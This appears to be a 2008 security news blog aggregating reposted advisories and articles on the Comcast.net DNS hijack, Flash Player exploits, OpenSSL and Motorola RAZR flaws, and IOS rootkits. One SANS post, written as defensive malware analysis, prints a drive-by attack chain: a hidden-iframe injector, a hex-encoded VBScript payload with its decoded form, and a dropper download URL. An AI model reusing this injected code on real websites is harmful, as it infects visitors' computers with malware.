May 2008 - Posts

Comcast.net not Hacked, DNS Records Hijacked

I don't know about you, but I find this pretty damn funny...

Comcast.net not Hacked, DNS Records Hijacked

Two days ago in a show off move, the Kryogenics team managed to change the DNS records of Comcast.net, and consequently, redirect traffic to third-party servers, which in this incident only served a defaced-looking like page, and denied email services to Comcast's millions of email users for a period of three hours.

The message they appear to have left at the first place, is actually hosted on third-party servers and reads :

"KRYOGENIKS EBK and DEFIANT RoXed COMCAST sHouTz To VIRUS Warlock elul21 coll1er seven"

Comcast's changed whois records looked like this, and were restored to their original state approximately three hours later :

Administrative Contact:
Domain Registrations,
Comcast kryogenicsdefiant@gmail.com
Defiant still raping 2k8 ebk 69 ***
tard lane *** room
PHILADELPHIA, PA 19103
US 4206661870 fax: 6664200187

The hacked page was loading from the following locations :
freewebs.com/buttpussy69
freewebs.com/kryogeniks911
defiants.net/hacked.html

Comcast's comments :
"Last night users attempting to access Comcast.net were temporarily redirected to another site by an unauthorized person," he says. "While that issue has been resolved and customers have continued to have access to the Internet and email through services like Outlook, some customers are currently not able to access Comcast.net or Webmail." Douglas says that network engineers continue to work on the issue. "We believe that our registration information at the vendor that registers the Comcast.net domain address was altered, which redirected the site, and is the root cause of today's continued issues as well," he says. "We have alerted law enforcement authorities and are working in conjunction with them."

Network Solutions comments :
"Somebody was able to log into the account using the username and password. It was an unauthorized access," said spokeswoman Susan Wade. "It wasn't like somebody hacked into it. The Network Solutions account was not hacked. "They ping us and say this is my domain and say, 'I'd like to reset my password,'" Wade said. "It could have been compromised through e-mail. They could have gotten it if they acted as the customer. We're not clear."

"Pinging a domain registrar" has been around since the early days of the Internet, and it's obviously still possible to socially engineer one in 2008. A recently released ICANN advisory on the topic of registrar impersonation phishing attacks provides a decent overview of the threat, and in Comcast's case, I think someone impersonated Comcast in front of Network Solutions compared to the other way around, namely someone phished the person possessing the accounting data at Comcast, by making them think it's Network Solutions contacting them.

With Comcast.net now back to normal, the possibilities for abusing the redirected traffic given that the content was loading from web sites they controlled are pretty evident. And despite that there are speculations the hijack is courtesy of the BitTorrent supporters, in this case, the motivation behind this seem to have been to prove that it's possible.

UPDATE :
An interview with the hijackers including a screenshot of the control panel for over 200 Comcast operated domains is available.

Posted Friday, May 30, 2008 1:03 PM by cmosby | with no comments
Filed under: , , ,

Microsoft Security Bulletin Minor Revisions - Issued: May 29, 2008

********************************************************************

Title: Microsoft Security Bulletin Minor Revisions

Issued: May 29, 2008

********************************************************************

Summary

=======

The following bulletin has undergone a minor revision increment.

Please see the bulletin for more details.

* MS08-028 - Critical

Bulletin Information:

=====================

* MS08-028 - Critical

- http://www.microsoft.com/technet/security/bulletin/ms08-028.mspx

- Reason for Revision: V1.1 (May 28, 2008): Added entry to Update FAQ to clarify that CVE-2005-0944 was also addressed by this update.

- Originally posted: May 13, 2008

- Updated: May 28, 2008

- Bulletin Severity Rating: Critical

- Version: 1.1

Posted Friday, May 30, 2008 8:02 AM by cmosby | with no comments
Filed under: , , ,

REVOKED: Adobe Flash Player Unspecified Vulnerability - Secunia

REVOKED: Adobe Flash Player Unspecified Vulnerability
Advisory Available in German

Secunia Advisory:
SA30404

Release Date:
2008-05-28

Last Update:
2008-05-29

Critical:

Extremely critical

Impact:
System access

Where:
From remote

Solution Status:
Vendor Patch

Software:
Adobe Flash Player 9.x

Description:
A vulnerability has been reported in Adobe Flash Player, which can be exploited by malicious people to compromise a user's system.

The vulnerability is caused due to an unspecified error. No further information is currently available.

Adobe reports that this is similar to vulnerability #2 in:
SA28083

NOTE: Reportedly, this is currently being actively exploited.

Do you have this product installed on your home computer? Scan using the free Personal Software Inspector. Check if a vulnerable version is installed on computers in your corporate network, using the Network Software Inspector.

Solution:
Update to the latest version.

Provided and/or discovered by:
Reported as a 0-day by Symantec and SANS ISC.

Changelog:
2008-05-29: Revoked advisory based on additional information provided by Adobe. Updated "Description" and "Solution" sections and added link to SA28083.

Original Advisory:
Adobe:
http://blogs.adobe.com/psirt/2008/05/potential_flash_player_issue.html

SANS ISC:
http://isc.sans.org/diary.html?storyid=4465

Symantec:
http://www.securityfocus.com/bid/29386

Other References:
US-CERT VU#395473:
http://www.kb.cert.org/vuls/id/395473

SA28083:
http://secunia.com/advisories/28083/
Posted Friday, May 30, 2008 7:50 AM by cmosby | with no comments
Filed under: , , , ,

Symantec: Adobe Patch Not a Problem After All - eWeek.com

Symantec: Adobe Patch Not a Problem After All
By Brian Prince
2008-05-29

Researchers at Symantec updated their analysis of an Adobe-issued patch for Flash Player.

After further analysis, researchers at Symantec have determined a patch issued by Adobe to address a bug in Flash Player is effective across all platforms.

Researchers there initially thought the patch did not work on the standalone Adobe Flash Player version 9.0.124.0 on Linux because it displayed behavior researchers thought was suspect. Adobe issued a patch for the vulnerability in April. While the latest version of Flash Player, 9.0.124.0, is immune, security researchers recommend users upgrade as the old version of the player is still vulnerable.

“The latest Linux player, when used to open the exploit file, would abruptly exit silently,” explained Ben Greenbaum, senior research manager at Symantec Security Response. “Stack analysis revealed several internally-handled segmentation faults, which is not normally desired behavior for a program. Often, it is a sign of an exploit that successfully leveraged the vulnerability but that used improper offsets or payload code.”

Opening various non-hostile SWF files did not produce similar results, he continued, and further research was unable to produce a successful full exploitation. Adobe meanwhile confirmed that what Symantec had observed was in fact expected and by design, he added.

The bug, which has been used by hackers to launch malware attacks via compromised Web sites, is CVE 2007-0071. Discovered last year, the flaw can be exploited with a specially crafted SWF file.

Wednesday, estimates on the number of Web sites hosting the malicious SWF files ranged from 20,000 to more than ten times that amount, as researchers at McAfee reported that while Googling for compromised sites that link to scripts that link to the flash exploits, they uncovered nearly 250,000 page results.

Posted Thursday, May 29, 2008 12:15 PM by cmosby | with no comments
Filed under: , , ,

Adobe Product Security Incident Response Team (PSIRT) - Potential Flash Player issue - update

Adobe Product Security Incident Response Team (PSIRT)

Working to help protect customers from vulnerabilities in Adobe software

« Security Bulletins - May 2008 | Main | Potential Flash Player issue - update »

Potential Flash Player issue

Just a quick note to say we are aware of today’s report of a potential exploit involving Flash Player in the wild. We are working with Symantec to investigate the potential SWF vulnerability, and will have an update once we get more information.

UPDATE: This exploit appears to be taking advantage of a known vulnerability, reported by Mark Dowd of the ISS X-Force and wushi of team509, that was resolved in Flash Player 9.0.124.0 (CVE-2007-0071). We strongly encourage everyone to download and install the latest Flash Player update, 9.0.124.0.

This posting is provided “AS IS” with no warranties and confers no rights

Posted Thursday, May 29, 2008 9:27 AM by cmosby | with no comments
Filed under: , , , ,

Free Sysinternals Windows utilities now available online, 24/7 | Ed Bott’s Microsoft Report | ZDNet.com

 

Free Sysinternals Windows utilities now available online, 24/7

Posted by Ed Bott @ 3:00 pm

Categories: Microsoft, Tips

Tags: Window, Sysinternals, Tool, Productivity, Ed Bott

If you troubleshoot Windows PCs for fun or profit, then chances are you’ve used one or more tools from Sysinternals. Microsoft bought the company and its amazing library of diagnostic, troubleshooting, and management utilities in 2006, and the collection has been continually updated ever since. It’s also still completely free.

A few weeks ago, I ran into Sysinternals co-founder Mark Russinovich at a technical conference, where he told me about a new Sysinternals service that was in private beta testing. Today, I can finally break the news that Sysinternals Live is now open to the public.

Sysinternals Live offers direct access to world-class Windows utilitiesThe new service enables you to execute the most recent version of any Sysinternals tool directly from an Internet-connected PC, without having to hunt for the executable file and manually download it first. To access the complete library of tools, use either of these methods from a Windows-based PC:

  • Go to the Sysinternals Live directory (http://live.sysinternals.com) and click the name of the tool you want to run. Because the directory listing is a bare-bones HTML file, it can be used in any browser.
  • If you know the name of the executable file for the tool you want to use, enter it directly, using the syntax \\live.sysinternals.com\tools\<toolname>, where <toolname> is the name of the executable file. (Note the UNC syntax uses backslashes, not slashes, as in a URL. Start with a pair of backslashes to indicate that live.sysinternals.com is the remote server, and don’t include the angle brackets with the tool name.)

If you’ve never used Sysinternals tools before, you’d do well to start at the Sysinternals home page, which includes descriptions of each tool, along with download links and installation instructions. But if you are already familiar with one or more tools in the library, you can create direct shortcuts to those tools on your desktop or on the USB flash drive you keep with your emergency toolkit.

Here are three shortcuts to get you started, all of which have been updated in 2008:

Process Explorer (\\live.sysinternals.com\procexp.exe) - This Task Manager replacement occupies the number-one slot on my top 10 list of all-time favorite Windows programs. As I noted in that writeup, “It provides system information, a hierarchical view of all running processes (including services), and an overwhelming number of technical details about how each process uses CPU and memory. It all runs in real time, making it an ideal troubleshooting tool.”

AutoRuns (\\live.sysinternals.com\autoruns.exe) - Are you still using Msconfig to see which processes are automatically running when you start a Windows PC? Then you literally don’t know what you’re missing. There are dozens of nooks and crannies in the Windows file system and registry where auto-starting programs can park themselves. This tool finds them all. More importantly, it allows you to disable or remove any entry you find.

Process Monitor (\\live.sysinternals.com\procmon.exe) - If you’re trying to figure out exactly what a program or process is doing (especially if you’re actively on the hunt for malware), this tool is your best friend. It combines the features of the now-retired Filemon and Regmon utilities to trace (and capture in an optional log file) the impact of a process as it starts, runs, and exits.

The “live” tools should work equally well in x86 and x64 versions of Windows Vista and Server 2008; I ran into a bug with Process Explorer and Handle.exe in my x64 testing, but corrected versions of both utilities were scheduled to go online today before Sysinternals Live opened to the public. Also, in Windows Vista and Server 2008 you can use “live” versions of command-line tools, but most require that you enter the command name in UNC syntax from an elevated prompt (click Start, type cmd in the Search box, select Cmd.exe from the results list, and press Ctrl+Shift+Enter).  The command-line tools I tested worked perfectly exactly as expected.

If you’re a Sysinternals fan, you’ll love Sysinternals Live.

Free Sysinternals Windows utilities now available online, 24/7 | Ed Bott’s Microsoft Report | ZDNet.com

Posted Wednesday, May 28, 2008 7:34 PM by cmosby | with no comments
Filed under: , , ,

Motorola Razr Vulnerability - F-Secure

Motorola Razr Vulnerability Posted by Jarno @ 13:52 GMT | postCount('00001445'); Comments

In mobile news: TippingPoint has reported a JPEG Processing Stack Overflow Vulnerability affecting firmware based Motorola Razr phones. The vulnerability was discovered last summer. New Razr shipments will not be affected as Motorola has produced a fix for the issue.
Motorola Razr
The vulnerability allows remote attackers to execute arbitrary code on vulnerable Motorola Razr firmware based cell phones.

From TippingPoint:

A corrupt JPEG received via MMS can cause a memory corruption which can be leveraged to execute arbitrary code on the affected device.

So some user interaction is required — accepting the MMS. However, people by and large generally trust image files so that isn't a difficult social engineering challenge.

On a positive note, the Razr uses a proprietary OS and the "knowledge base" is limited to enthusiasts and modders. But there are modders are out there. Popular hardware always generates a crowd of recreational hackers, e.g. iPhone.

Perhaps we'll see this JPEG exploit used to simplify unlocking older Razrs. Jailbreaking the iPhone was simplified by a TIFF handling exploit after all.

We probably won't see any malware as a result of this vulnerability. Still, one interesting thing to consider is that if a Razr were to be exploited by this, the user wouldn't be able to undo the damage without a reinstall of the firmware. Being a closed OS, there is no hard reset available as there are with many smartphones.

Updates are available for older Razr models via Motorola.

Posted Wednesday, May 28, 2008 7:30 PM by cmosby | with no comments
Filed under: , , , ,

Motorola RAZR JPEG Processing Buffer Overflow - Secunia

Motorola RAZR JPEG Processing Buffer Overflow

Secunia Advisory:
SA30409

Release Date:
2008-05-28

Critical:

Highly critical

Impact:
System access

Where:
From remote

Solution Status:
Vendor Patch

OS:
Motorola RAZR

Description:
A vulnerability has been reported in Motorola RAZR, which can be exploited by malicious people to compromise a vulnerable device.
The vulnerability is caused due to a boundary error in the JPEG thumbprint component. This can be exploited to cause a stack-based buffer overflow via a specially crafted JPEG image sent via MMS.  Successful exploitation allows execution of arbitrary code, but requires that the user accepts the malicious image.
Solution:
The vendor recommends updating to the latest firmware version. Please contact the vendor for more information.
Provided and/or discovered by:
Discovered by an anonymous researcher, reported via ZDI.
Original Advisory:
ZDI:
http://www.zerodayinitiative.com/advisories/ZDI-08-033/

Posted Wednesday, May 28, 2008 7:00 PM by cmosby | with no comments
Filed under: , , ,

OpenSSL Two Denial of Service Vulnerabilities - Secunia

OpenSSL Two Denial of Service Vulnerabilities

Secunia Advisory:
SA30405

Release Date:
2008-05-28

Critical:

Moderately critical

Impact:
DoS

Where:
From remote

Solution Status:
Vendor Patch

Software:
OpenSSL 0.9.x

CVE reference:
CVE-2008-0891 (Secunia mirror)
CVE-2008-1672 (Secunia mirror)

 

Description:
Two vulnerabilities have been reported in OpenSSL, which can be exploited by malicious people to cause a DoS (Denial of Service).

1) A double-free error in the handling of server name extension data can be exploited to crash a server application using OpenSSL.

Successful exploitation requires that OpenSSL is compiled using the TLS server name extensions.

2) An unspecified error can be exploited by a malicious server to crash a client application when the "Server Key exchange message" is omitted from a TLS handshake client.

The vulnerabilities are reported in versions 0.9.8f and 0.9.8g.

Solution:
Update to version 0.9.8h.

Provided and/or discovered by:
The vendor credits Codenomicon.

Original Advisory:
http://www.openssl.org/news/secadv_20080528.txt
Posted Wednesday, May 28, 2008 6:41 PM by cmosby | with no comments
Filed under: , , ,

Cisco IOS Rootkit thoughts - SANS Internet Storm Center

Cisco IOS Rootkit thoughts
Published: 2008-05-23,
Last Updated: 2008-05-23 21:54:36 UTC
by Mike Poor (Version: 1)
2 comment(s) digg_url = 'http://isc.sans.org/diary.html?storyid=4453&rss'; digg_title = 'Cisco IOS Rootkit thoughts'; digg_skin='compact'; digg_topic = 'security';

Sebastian Muniz of Core Security was due to give his talk on Cisco IOS Rootkits at EUsecwest today.  After reading the interview with Sebastian Muniz by Sean Comeau  I began thinking of the implications to enterprise operations.

While most enterprises have come to distrust the OS and applications, most still implicitly trust devices.  Whether the device is a printer, a wireless access point, or a router, most operations teams do little beyond applying patches to vulnerable systems.  Most security teams avoid the clash with the operations teams over testing and hardening network devices.

In the case of the printers, we have seen many printer compromises over the years.  I first ran into one almost ten years ago.  These were old office document printers running AIX... you know the ones.  Since that event, I have handled on average 3 investigations a year where a core printer is involved in the theft of corporate data. 

Most organizations treat these devices as unmanaged machines leased from a 3rd party vendor.  The vendor barely supports the device beyond providing paper and toner.  Many of these printers have POTS capability (remote admin, status, as well as fax), network functionality, and wireless.  HP offers a lockdown guide and configuration tool to lockdown their printers.  Here's a link:

http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=bpj05999

If anyone doubts the capabilities of a simple access point, one only needs to go so far as checking in with Paul Asadoorian and Larry Pesce (of pauldotcom.com fame).  Their awesome book http://www.amazon.com/Linksys-WRT54G-Ultimate-Hacking-Asadoorian/dp/1597491667  (shameless plug) and SANS course ( SANS Security 535: Network Security Projects Using Hacked Wireless Routers )  provide much depth and coverage on the topic.

Now, on to the more sensitive topic... hacking IOS.  We can all remember just a few years ago when the Mike Lynn debacle occured at Black Hat when he was scheduled to present on IOS hacking.  Lawyers got involved, goons ripped pages out of conference giveaways, etc.  A couple thoughts come to mind when dealing with the potential of a hacked router:

1. How to validate the IOS running on the device.  Obviously, it can lie just as a kernel level root kit can lie.  My preference might be a steady routine of flashing the device, although that would go against most organizations notions of uptime (and Im usually ok with that).  I do like that Muniz points to CIR as a remedy in this case:

<From the article>

Sean Comeau: Are there any existing tools to detect unauthorized modification
of IOS?

Sebastian Muniz: Yes, CIR "Cisco Information Retrieval" created by FX is THE
TOOL in this case. It's a framework capable of detecting those kind of
modifications. This tool analyzes crash dumps by performing several tests to
it and taking a clean IOS image as a starting point. This is a great tool and
probably the only one able to do this but it relies in the IOS functions that
generate the crash dump so, if those functions are hooked by the rootkit, the
result may not be correct. The thing is not that easy because CIR is able to
perform several tests and could detect the rootkit but this will probably be
like a race, competing with each other to see who has the latest trick to
bother it's counterpart. But in the case of the version of rootkit (DIK) that
will be presented at the conference, CIR will be able to detect it.
</From the article>

2. Router lockdown. 

Cisco has its Security Device Manager (SDM) http://www.cisco.com/go/sdm  with a good article on it here: http://www.cisco.com/en/US/prod/collateral/routers/ps5318/product_data_sheet0900aecd800fd118.html

The Center for Internet Security (CIS) has a Router Assessment Tool (RAT) that can be used on Windows or Unix-like operating systems to assess the security of a Cisco Router.  This tool can be found here:

http://cisecurity.org/bench_cisco.html

Given the amount of interesting things to think about and do presented here... its great that its Memorial Day weekend in the U.S.A.  Have  a great weekend, think of those that have given their lives so that we can enjoy ours...


Mike Poor, Handler on Duty

Intelguardians, Inc.

Keywords: Cisco IOS Rootkit Sebastian Muniz Topo
2 comment(s)
Posted Wednesday, May 28, 2008 6:00 PM by cmosby | with no comments
Filed under: , ,

Abusing Our Sympathies: Sichuan Earthquake Trojan - McAfee

Abusing Our Sympathies: Sichuan Earthquake Trojan

Friday May 23, 2008 at 10:04 am CST
Posted by Shinsuke Honjo


Malware authors make use of any opportunity to spread malware. Using hot topics is one of the methods to attract users to click on malware files. Recently, we received a specially crafted Microsoft Word file, detected as the Exploit-MSword.b Trojan, which launches a clean Word file to deceive users while in the background it drops a downloader.

The contents of the launched clean is an article about the earthquake in China.

 

And here is the source for the Word file:

We also received the following Trojan files:

“Earthquake Information.doc.scr”
“photos about earthquake of Sichuan.exe”

This is not the first time that tragic topics are used in malware infections, and users need to keep in mind that malware authors will keep using this method.

Posted Wednesday, May 28, 2008 4:32 PM by cmosby | with no comments
Filed under: , , , , , ,

Flash Player Exploit Update 2 - McAfee

Flash Player Exploit Update 2

Wednesday May 28, 2008 at 9:55 am CST
Posted by Craig Schmugar

Trackback

Last night our researchers identified similarities between the recent Adobe Flash exploits and a known (patched) vulnerability: CVE-2007-0071. At first, this appeared to close the case, but there was a report of a patched version of Flash falling victim to one of these attacks, and we’ve seen an SWF file referencing a missing file named WIN 9,0,124,0i.swf, which also suggests that the latest version of Flash is the target of that file.

The exploits that we have captured from the field do not appear to exploit the latest version of Flash. We continue to hunt for missing 9,0,124 exploits and will post an update should one be discovered. In the meantime, it’s best to update to the latest player, if you haven’t yet done so.

Posted Wednesday, May 28, 2008 3:20 PM by cmosby | with no comments
Filed under: , , , , ,

Flash w/ SQL - F-Secure

Flash w/ SQL Posted by Sean @ 17:16 GMT | postCount('00001446'); Comments

There are reports of a critical vulnerability affecting current versions of Adobe Flash and evidence of it being exploited in the wild. Versions including and previous to 9.0.124.0 are reported to be at risk. However — chatter on the security lists we frequent suggest version 9.0.124.0 is not vulnerable and that the attacks are only reliably effective against version 9.0.115.0 and earlier (using CVE-2007-0071).

In any case — we are seeing Flash exploits being used in combination with SQL injection attacks. See Patrik's May 13th post for more information on the SQL attacks. Many/most people probably don't update Flash every time there's an update. This in combination with the SQL injection attacks against tens of thousands of hacked sites is cause for concern. Many, many users could be at risk and should update their Flash software. Shadowserver has a good post highlighting some domains pushing Flash exploits.

Adobe is aware of the issue and is investigating but does not yet have a full report. We'll update you later on whether or not version 9.0.124.0 is affected.

In the meantime, there may be some mitigating strategies you'd like to employ.

First of all you can uninstall Flash. But that can be somewhat aggravating as you'll then be prompted frequently to install Flash from numerous websites. So another option is to update and then disable your current installation.

If you have Flash installed on your Windows computer, Add/Remove Programs includes a "Click here for support information" link.

ActiveX component for Internet Explorer:

Flash 901240 ActiveX

Firefox Plugin:

Flash 901240 Plugin

Update to the most recent version. You can test your installation from this page.

What are your options once you're up to date?

For Internet Explorer, you can use the Manage Add-ons option to disable Flash:

IE Manage Add-ons

But then you'll get this annoying prompt on Flash enabled sites:

Add-on Disabled

An alternative is to use registry (.reg) files. This file disables Flash and this file enables Flash in IE. Right-click, save, and place the files in a convenient location and you can toggle Flash on/off as needed.

A big hat tip goes to John Haller's Useful Stuff site for the .reg files.

And for Firefox?

We suggest Flashblock and NoScript:

Firefox Add-ons

NoScript is an excellent plugin and will block Flash from any untrusted sites. But be careful whom you trust. Remember, even trusted sites can be hacked. Still, it's a must have plugin for security conscious individuals. You can install it from noscript.net.

Flashblock prevents all Flash content from loading. It inserts a placeholder that then allows the user to toggle only the desired Flash. You can install it from flashblock.mozdev.org.

Posted Wednesday, May 28, 2008 12:47 PM by cmosby | with no comments
Filed under: , , , , , , ,

Another example of malicious SWF - SANS Internet Storm Center

Another example of malicious SWF
Published: 2008-05-28,
Last Updated: 2008-05-28 17:16:57 UTC
by Adrien de Beaupre (Version: 1)
0 comment(s) digg_url = 'http://isc.sans.org/diary.html?storyid=4477&rss'; digg_title = 'Another example of malicious SWF'; digg_skin='compact'; digg_topic = 'security';

Jerry wrote in to tell us of a new variant on the theme of SWF files
being found in the wild. This ones uses encoded VBScript to deliver.
A google search for www.chliyi.com gives us over 5,000 hits! The likely
method of getting the malcious scripts on these web servers is SQL
injection, check your code regularly.

So, let's take a look at this one:

hxxp://www.chliyi.com/reg.js

Which contains:

if (navigator.systemLanguage=='zh-cn')
{
}
else{
document.writeln("<iframe src=hxxp://www.chliyi.com/img/info.htm
width=0 height=0></iframe>");

Downloading hxxp://www.chliyi.com/img/info.htm gives us the following:

<Script Language="VBScript">
Song = "3C536372697074204C616E67756167653D56425363726970743E0D0A094F6E204
572726F7220526573756D65204E6578740D0A09536574204F62203D20446F63756
D656E742E437265617465456C656D656E7428226F626A65637422290D0A094F622
E5365744174747269627574652022636C6173736964222C2022636C7369643A424
43936433535362D363541332D313144302D393833412D303043303446433239453
336220D0A0953657420506F70203D204F622E4372656174656F626A65637428224
1646F64622E53747265616D222C2222290D0A094966204E6F74204572722E4E756
D626572203D2030207468656E0D0A09094572722E636C6561720D0A0909446F637
56D656E742E77726974652028223C656D626564207372633D5C22666C6173682E7
377665C223E3C2F656D6265643E22290D0A0909446F63756D656E742E777269746
52028223C694672616D65207352633D7265616C2E68746D2077696474683D30206
865696768743D303E3C2F696672416D453E22290D0A0909446F63756D656E742E7
7726974652028223C694672616D65207352633D6E65772E68746D2077696474683
D30206865696768743D303E3C2F696672416D453E22290D0A09456C73650D0A090
9446F63756D656E742E77726974652028223C694672616D65207352633D68656C7
02E68746D2077696474683D30206865696768743D303E3C2F696672416D453E222
90D0A09456E642049660D0A3C2F5363726970743E"
Function Hex2Str(ByVal Ans):For i = 1 To Len(Ans)
Step 2:If IsNumeric(Mid(Ans, i, 1)) Then:tmpStr = tmpStr &
Chr("&H" & Mid(Ans, i, 2)):Else:tmpStr = tmpStr & Chr("&H" &
Mid(Ans, i, 4)):i = i + 2: End If: Next: Hex2Str = tmpStr: End Function
Document.Write Hex2Str(Song)
</Script>
<script language="javascript"
src="hxxp://count47.51yes.com/click.aspx?id=470732873&logo=12"></script>

This decodes using hex to string:

<Script Language=VBScript>
        On Error Resume Next
        Set Ob = Document.CreateElement("object")
        Ob.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
        Set Pop = Ob.Createobject("Adodb.Stream","")
        If Not Err.Number = 0 then
                Err.clear
                Document.write ("<embed src=\"flash.swf\"></embed>")
                Document.write ("<iFrame sRc=real.htm width=0 height=0></ifrAmE>
")
                Document.write ("<iFrame sRc=new.htm width=0 height=0></ifrAmE>"
)
        Else
                Document.write ("<iFrame sRc=help.htm width=0 height=0></ifrAmE>
")
        End If
</Script>

Lets get  hxxp://www.chliyi.com/img/flash.swf
Which gives us:

file flash.swf
flash.swf: Macromedia Flash data, version 9

swfdump flash.swf
[HEADER]        File version: 9
[HEADER]        File size: 858
[HEADER]        Frame rate: 12.000000
[HEADER]        Frame count: 771
[HEADER]        Movie width: 550.00
[HEADER]        Movie height: 400.00
[045]         4 FILEATTRIBUTES
[006]       336 DEFINEBITS defines id 0682
==== Error: Unknown tag:0x056 ====
[056]        40 (null)
[009]         3 SETBACKGROUNDCOLOR (ff/ff/ff)
==== Error: Unknown tag:0x056 ====
[056]        12 (null)
==== Error: Unknown tag:0x052 ====
[052]       383 (null)
==== Error: Unknown tag:0x04c ====
[04c]        25 (null)
[001]         0 SHOWFRAME 1 (00:00:00,000)
[000]         0 END

Which looks familiar to us now.
real.htm, new.htm, help.htm are also quite interesting.

strings flash.swf shows us another possible malware location:
FWS     Z
urlmon.dll
;C:\6123t.exe
hxxp://www.jj120.com/inc/f_ckjp.exe
                                  CC
new_fla
MainTimeline
flash.display   MovieClip
new_fla:MainTimeline
frame1
addFrameScript
Object
flash.events
EventDispatcher
DisplayObject
InteractiveObject
DisplayObjectContainer
Sprite
new_fla.MainTimeline

I munged the name of the file to pass language filters.
When I checked jj120.com resolved to 219.153.18.216 and didn't
want to give me the file.

Thanks again Bojan and Jeremy!

Cheers,
Adrien de Beaupré
Bell Canada, Professional Services

Posted Wednesday, May 28, 2008 12:44 PM by cmosby | with no comments
Filed under: , , , ,

Followup to Flash/swf stories - SANS Internet Storm Center

Followup to Flash/swf stories

Published: 2008-05-28,
Last Updated: 2008-05-28 16:57:38 UTC
by Jim Clausing (Version: 2)

0 comment(s)

We've received quite a bit of mail about our stories yesterday about the malicious SWF files attempting to exploit older versions of the Adobe Flash player.  So, here are a few of the things that have come out of our discussions.

  1. Our friends over at shadowserver.org (thanx, Steven) have a nice writeup that includes a bunch of domains they've noted that have the malicious SWF files.
  2. If you aren't sure which version of the flash player you are using, Adobe provides this page where you can check for yourself.
  3. On closer examination, this does not appear to be a "0-day exploit".  Symantec has updated their threatcon info, as well.  We have yet to see one of these that succeeds against the current version (9.0.124.0), if you find one that does, please let us know via the contact page.
  4. It appears that this exploit may be included in the Chinese version of the MPack exploit toolkit (among others).
  5. In case we weren't clear about it earlier, it appears that the infected web sites check which browser you are using in addition to the flash player version to determine which exploit to deliver.

There are several ways to protect yourself even if you have a vulnerable version of the Flash player.

  • In Firefox, you can use either of the following add-ons, NoScript (one of our favorites, found here or here) or FlashBlock (here or here).
  • In IE, see here for how to set the "killbit", the CLSID is BD96C556-65A3-11D0-983A-00C04FC29E36.

Update: (2008-05-28-16:54UTC) I was remiss in not mentioning Dancho Danchev's writeup.

Posted Wednesday, May 28, 2008 12:42 PM by cmosby | with no comments
Filed under: , , ,
More Posts Next page »